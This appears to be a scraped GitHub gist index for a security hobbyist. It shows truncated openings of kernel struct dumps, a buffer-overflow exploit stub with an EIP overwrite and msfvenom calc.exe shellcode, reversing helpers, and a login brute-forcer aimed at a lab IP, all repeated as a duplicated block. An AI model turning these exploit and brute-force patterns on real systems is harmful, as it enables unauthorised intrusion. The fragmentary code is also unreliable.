Mr. Rc HACKE-RC

## ETHREAD.c
struct _ETHREAD {
  struct _KTHREAD Tcb;
  union _LARGE_INTEGER CreateTime;
  union _LARGE_INTEGER ExitTime;
  struct _LIST_ENTRY KeyedWaitChain;
  void *ChargeOnlySession;
  struct _LIST_ENTRY PostBlockList;
  void *ForwardLinkShadow;
  void *StartAddress;
  struct _TERMINATION_PORT *TerminationPort;

## KPROCESS.c
struct _KPROCESS {
  struct _DISPATCHER_HEADER Header;
  struct _LIST_ENTRY ProfileListHead;
  unsigned int DirectoryTableBase;
  unsigned long Asid;
  struct _LIST_ENTRY ThreadListHead;
  unsigned long ProcessLock;
  unsigned long Spare0;
  unsigned int DeepFreezeStartTime;
  struct _KAFFINITY_EX Affinity;

## exploit.py
from struct import pack

offest = 1012
eip = pack("<I", 0x10022F07)
nops = "\x90"*16
size = 1100

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x09\x0a\x1a" -f py Encoder=PexAlphaNum
buf =  b""
buf += b"\xda\xdb\xd9\x74\x24\xf4\xba\x2c\x59\xcf\x98\x58\x2b"

## Research_1.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              1 star
            
          
                HACKE-RC
                / Research_1.md
            
            
              Created
              July 5, 2021 14:23
            
          
    something


## mangler.py
#!/bin/env python3
from sys import argv
work = True if len(argv)>2 else False
if not work:
    exit()

pattern = '123456789'
mangled = argv[1]

res = []

## auto_exp_cmps.py
#!/bin/env python3
from r2pipe import open as r2open
from pwn import p64, xor
from sys import argv
from pwn import xor
from os import system as run
import fuckpy3

do_xor = True if len(argv)>1 else exit()
key = int(argv[1].strip(), 16) if argv[1].startswith("0x") else int("0x"+argv[1].strip(), 16)

## virtual_query_eg_1.c
#include <Windows.h>
#include <stdio.h>

int main()
{
	MEMORY_BASIC_INFORMATION info;
	int ret;
	const void *location;
	int *vm = VirtualAlloc(NULL, 8, MEM_COMMIT, PAGE_READONLY);
	printf("Address of memory returned by VirtualAlloc is %lu\n", vm);

## brute.py
import sys
import requests
import time

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://10.10.228.124',
    'Content-Type': 'application/x-www-form-urlencoded',
	struct _ETHREAD {
	struct _KTHREAD Tcb;
	union _LARGE_INTEGER CreateTime;
	union _LARGE_INTEGER ExitTime;
	struct _LIST_ENTRY KeyedWaitChain;
	void *ChargeOnlySession;
	struct _LIST_ENTRY PostBlockList;
	void *ForwardLinkShadow;
	void *StartAddress;
	struct _TERMINATION_PORT *TerminationPort;
	struct _KPROCESS {
	struct _DISPATCHER_HEADER Header;
	struct _LIST_ENTRY ProfileListHead;
	unsigned int DirectoryTableBase;
	unsigned long Asid;
	struct _LIST_ENTRY ThreadListHead;
	unsigned long ProcessLock;
	unsigned long Spare0;
	unsigned int DeepFreezeStartTime;
	struct _KAFFINITY_EX Affinity;
	from struct import pack

	offest = 1012
	eip = pack("<I", 0x10022F07)
	nops = "\x90"*16
	size = 1100

	# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x09\x0a\x1a" -f py Encoder=PexAlphaNum
	buf = b""
	buf += b"\xda\xdb\xd9\x74\x24\xf4\xba\x2c\x59\xcf\x98\x58\x2b"
	#!/bin/env python3
	from sys import argv
	work = True if len(argv)>2 else False
	if not work:
	exit()

	pattern = '123456789'
	mangled = argv[1]

	res = []
	#!/bin/env python3
	from r2pipe import open as r2open
	from pwn import p64, xor
	from sys import argv
	from pwn import xor
	from os import system as run
	import fuckpy3

	do_xor = True if len(argv)>1 else exit()
	key = int(argv[1].strip(), 16) if argv[1].startswith("0x") else int("0x"+argv[1].strip(), 16)
	#include <Windows.h>
	#include <stdio.h>

	int main()
	{
	MEMORY_BASIC_INFORMATION info;
	int ret;
	const void *location;
	int *vm = VirtualAlloc(NULL, 8, MEM_COMMIT, PAGE_READONLY);
	printf("Address of memory returned by VirtualAlloc is %lu\n", vm);
	import sys
	import requests
	import time

	headers = {
	'Connection': 'keep-alive',
	'Cache-Control': 'max-age=0',
	'Upgrade-Insecure-Requests': '1',
	'Origin': 'http://10.10.228.124',
	'Content-Type': 'application/x-www-form-urlencoded',